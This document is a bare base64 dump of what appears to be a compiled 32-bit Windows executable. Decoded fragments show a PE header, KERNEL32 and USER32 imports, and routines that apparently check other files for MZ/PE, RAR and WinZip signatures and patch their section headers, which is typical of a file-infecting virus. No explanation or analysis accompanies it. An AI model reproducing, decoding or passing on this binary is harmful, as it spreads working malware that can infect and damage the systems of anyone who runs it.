Y0lrWe3v10NTU4ttR03XQ1NTi4uLi4stWW9NSVGLF1lRQ0mLDVVDQS9BQ4slKR0REe375fuL BS8ZAQft++X7iwdhV8sTVWdZV0XLDW9ZUVlXSVOLF1VvY1VXixFNSUdBQYsJV2NZZ1lviwln TVVXbVVTiwfRLSMVKyWLB9EtQU1hb0GLLVVrW1Vti2dZb2FtiwknK8sRVVdZY1VviwknK8sh a0NJY0FtixlXVU1hU0ljQRkjiysN0U1ZU1NZV4steVFJV2NBTYsjb0FXQ8sRWU1vVYsH0Ssv FSOLyxcVA+3vy4uLiy9BRVltY0FvLUFvZ1lNQStvVU1BbW2LF0FjLVtJb0EJQ0OLLRsDQVNB Y0EdQXkJiy1HTRltB1lTQStvVWNBTWNBQ4sXQWMtW0lvQQVBYxlXR1WLF0FjCWtZD2FHR0Fv B29BQYuLi4uLATsrExUvAS+LDRERBS+LUW1ZUVeLWU1lTVVXV4tlWVd/WWuLi4uLiytvVUVv SVGLwW3L88Ft94sJDw0DAQcFGxkfHRMRFxUrKS8tIyEnJTs5P0lPTUNBR0VbWV9dU1FXVWtp b21jYWdle3l/6+nv7ePh5+X7+d3Vi21BY2Fri1lXbWNJU1OLQ0FRVYttV1VVa3mLa1lNSU1h i11ZY2N5i2tTSXmLb1VNXYuLi4uLi4uLL0lvyb+FixSqbYuLkYuLi4uLi4uLi9dvSW+Li2VZ V1lXQWPXQ1NTixlXY0FvV0FjBUFjDVVXV0FNY0FDLWNJY0GLi4sDWW9BTWNVb3mLQ1NTTUlN W0GLiy1BA0FPYUUrb1lnWVNBRUGLLUEjTU8rb1lnWVNBRUGLi4uLi4uLi4tlT9FfSWtJV9dN Vddfa4tnQW9Zf1VX11dBY4tJb2lhWW9BQ9dBbYtDWUdJTddNVVGLiy1VR2NlSW9BMxFZTW9V bVVHYzMZV2NBb1dBY8sJTU1VYVdjyxFJV0lFQW8zCU1NVWFXY20ziy0RIyvLLUFvZ0Fviy0R IyvLAVFJWVPLCUNDb0FtbYuLJVVvUcsdU0F/1wHLWVFRYVdZY3mLix1TQX/XActZbctjW0HL UVVtY8tNVVFRVVfLZVVvU0PRZVlDQctta29BSUNZV0XLZVVvUdcZY8Vty2dBb3nLQ0lXRUFv VWFty095y01Vb29ha2NZV0XLeVVhb8tHWVNBbdfzT2/3kZ8PQU1JYW1By1VHy1ljbctnQW95 y21RSW9jy21jQUlTY1vLSVdDy0lXY1nRSVdjWdFnWW9hbctjQU1bV1lN01FVbWPLTVVRUVVX ywkny21VR2NlSW9By01JV8Vjy0NBY0FNY8tVb8tNU0FJV8tZY9fzT2/3kZ8lQctDQWdBU1Vr QUPLY1tZbctHb0FBy1lRUWFXWWN5y2NVVVPLY1XLQ0FHQUljy2NbQctRSVNZTVlVYW3LZ1lv YW3X809v95GfOVVhy1VXU3nLV0FBQ8tjVctvYVfLY1tZbctjVVVTy1VXTUHTSVdDy2NbQVfL HVNBf8tlWVNTy1dBZ0Fvy01VUUHLWVdjVct5VWFvyysN1/NPb/eRnxcVIwH/yw9BTUlhbUHL Y1tZbctjVVVTy0lNY23LSW3LSctHSV1Byx1TQX/LY1XLR1VVU8tjW0HLb0FJU8tlVW9R021V UUHLCSfLUVVXWWNVb8tRSXlPQctNb3nLZVtBV8t5VWHLb2FXy1lj1/NPb/eRnxlHy21V0xlF V1VvQctjW0HLZUlvV1lXRdNJV0PLbUFTQU1jy8VNVVdjWVdhQcXX809v95GfGUfLeVVhy1tJ Z0HLSVd5y2lhQW1jWVVX02tTQUltQcvzSctbb0FH8e0DUUlZU2NV/8Ft91FJWVPLY1XLUUHz 1Un314uLi4uLi4uLkZ8lWVft78sdU0F/yyfv1+vpy8fLJVlX7e/LB1VvVWF7yyfp1+uRnw1V a3lvWUVbY8vv6+vv01FJQ0HLWVfLCW1ZSZGfCU9VYWPLHVNBf8sn79fr6f+Rn5np0xFJWVfL UVltbVlVV8tZbctjVctvQVNBSW1By2NbQctXQWXLT0lPecsrActnWW9hbdMlWVft78sHVW9V YXuRn5nv0xdVy21ZRVdZR1lNSVdjy01bSVdFQdcXVctPYUXLR1l7QUPXF1XLSVd5y2tJeVNV SUPXkZ8JT1VhY8slWVft78sHVW9VYXvL22tTf8tdQUFry2NbQctXSVFB02NbSVd72ZGfmenT B2FTU8tNVVFrSWNZT1NByyVZV+3vyysBy2dZb2Fty1VXyyVZV/k71e8d1Rcj1TsrkZ+Z79Ml WWNby2dBb3nLWVdjQW9BbWNZV0XLR0FJY2FvQdcNW0FNXctZY8mRn5nt0xdVy0lXectrSXlT VUlD1xdVy0lXectVa2NZUVl/SWNZVVeRn5nj0xdVY8tPYUXLR29BQdNPQU1JYW1By1VHy0nL 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 m/UqV8cR4qf6ySDRS2DmMKStR1As2z1FAc57awCuk857znuT9nNePoQxEc8sMe47lDGExbu6 aEWjT5DOe897Q86ulTGEJoIjhDEiLXGHKkPG+4sxhCWuJnzOe84OvR68SPx7Me47lDGExbu6 YkWjT5DOe897Q8afizGEQ86ulTGEJsYjhDEawwAAJXMlMDhkAABhOlwAeAAAAAAAAAAAAAAA AQAAAAAAAAAAAAAAAAAAAEqiQAACAAAAAQIECAAAAACkAwAAYIJ5giEAAAAAAAAApt8AAAAA AAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+ AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAA QH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAAAAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAA AAAaKkEAGipBAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAA hACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEA AQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIA ggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAANzS QADM0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAA AAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEA AMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAAAMAAAAHAAAACgAAAIwAAAD///// AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIAAABI1UAACAAAABzVQAAJAAAA8NRAAAoA AADM1EAAEAAAAKDUQAARAAAAcNRAABIAAABM1EAAEwAAACDUQAAYAAAA6NNAABkAAADA00AA GgAAAIjTQAAbAAAAUNNAABwAAAAo00AAeAAAABjTQAB5AAAACNNAAHoAAAD40kAA/AAAAPTS QAD/AAAA5NJAAAAAAAAAAAAAADtJAAAAAAAAO0kAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAA AAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACHEQAAhxEAAIcRAACHEQAAhxEAAIcRAAAAAAAAAAAAA+AMAAAAAAAAAAAAA AAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcA AAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAA DwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0A AABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAA DQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIA AAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAA pwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 